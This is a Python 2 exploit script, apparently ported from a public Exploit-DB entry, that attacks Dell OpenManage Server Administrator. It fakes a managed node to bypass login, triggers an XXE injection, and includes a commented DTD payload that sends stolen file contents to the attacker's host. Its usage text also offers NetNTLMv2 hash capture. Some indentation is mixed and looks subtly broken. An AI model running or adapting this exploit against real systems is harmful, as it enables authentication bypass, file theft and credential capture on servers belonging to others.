#This is just a Python version of the  https://www.exploit-db.com/exploits/39909
#Also check out https://github.com/hantwister/FakeDellOM
#You need to have openssl installed

from xml.sax.saxutils import escape
import BaseHTTPServer
import requests
import thread
import ssl
import sys
import re
import os

import urllib3
urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
    requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
    # no pyopenssl support used / needed / available
    pass

if len(sys.argv) < 3:
	print 'Usage python xxe_openmanage.py <yourIP> <targetIP>:<targetPort> http://yourip:8080/some.dtd'
	print 'Get a NetNTLMv2 hash: Usage python xxe_openmanage.py <yourIP> <targetIP>:<targetPort> file://\\yourip'
	exit()

#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
#Also check out https://github.com/hantwister/FakeDellOM
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
	def do_POST(s):
		myIP = sys.argv[1]
		XXEUrl = sys.argv[3]
		data = ''
		content_len = int(s.headers.getheader('content-length', 0))
		post_body = s.rfile.read(content_len)
		s.send_response(200)
		s.send_header("Content-type", "application/soap+xml;charset=UTF-8")
		s.end_headers()
		if "__00omacmd=getuserrightsonly" in post_body:
			data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
		if "__00omacmd=getaboutinfo " in post_body:
			data = escape("<ProductVersion>6.0.3</ProductVersion>")
    	if "__00omacmd=getcmdlogcontent" in post_body:
        	data = escape('''<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE bogus [  <!ENTITY % dtd SYSTEM "'''+XXEUrl+'''"> %dtd;]]><bogus><blah /></bogus>''')
        	#Paylod for DTD if you use it
        	#<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://YOURIP:8080/xxe?result=%file;'>"> %all;
		if data:
			requid = re.findall('>uuid:(.*?)<',post_body)[0]
			s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>
							<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
							  <s:Header>
							    <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
							    <wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo>
							    <wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
							  </s:Header>
							  <s:Body>
							    <n1:SendCmd_OUTPUT>
							      <n1:ResultCode>0</n1:ResultCode>
							      <n1:ReturnValue>'''+data+'''</n1:ReturnValue>
							    </n1:SendCmd_OUTPUT>
							  </s:Body>
							</s:Envelope>''')

		else:
      			s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')

		def log_message(self, format, *args):
			return

createdCert = False
if not os.path.isfile('./server.pem'):
	print '[-] No server.pem certifcate file found. Generating one...'
	os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
	createdCert = True

def startServer():
	server_class = BaseHTTPServer.HTTPServer
	httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)
	httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
	httpd.serve_forever()

thread.start_new_thread(startServer,())

myIP = sys.argv[1]
target = sys.argv[2]

def bypassAuth():
	values = {}
	url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
	data = {"manuallogin": "true", "targetmachine": myIP, "user": "XXE", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
	r = requests.post(url, data=data, verify=False, allow_redirects=False)
	cookieheader = r.headers['Set-Cookie']
	sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)
	pathid = re.findall('Path=/(.*?);',cookieheader)
	values['sessionid'] = sessionid[0]
	values['pathid'] = pathid[0]
	return values

ids = bypassAuth()
sessionid = ids['sessionid']
pathid = ids['pathid']

print "Session: "+sessionid
print "VID: "+pathid

def triggerXXE(target,sessid,pathid):
    url = "https://{}/{}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid={}".format(target,pathid,pathid)
    cookies = {"JSESSIONID": sessid}
    r = requests.get(url, cookies=cookies, verify=False)
    #print r.content
    print 'Triggering XXE'

triggerXXE(target,sessionid,pathid)
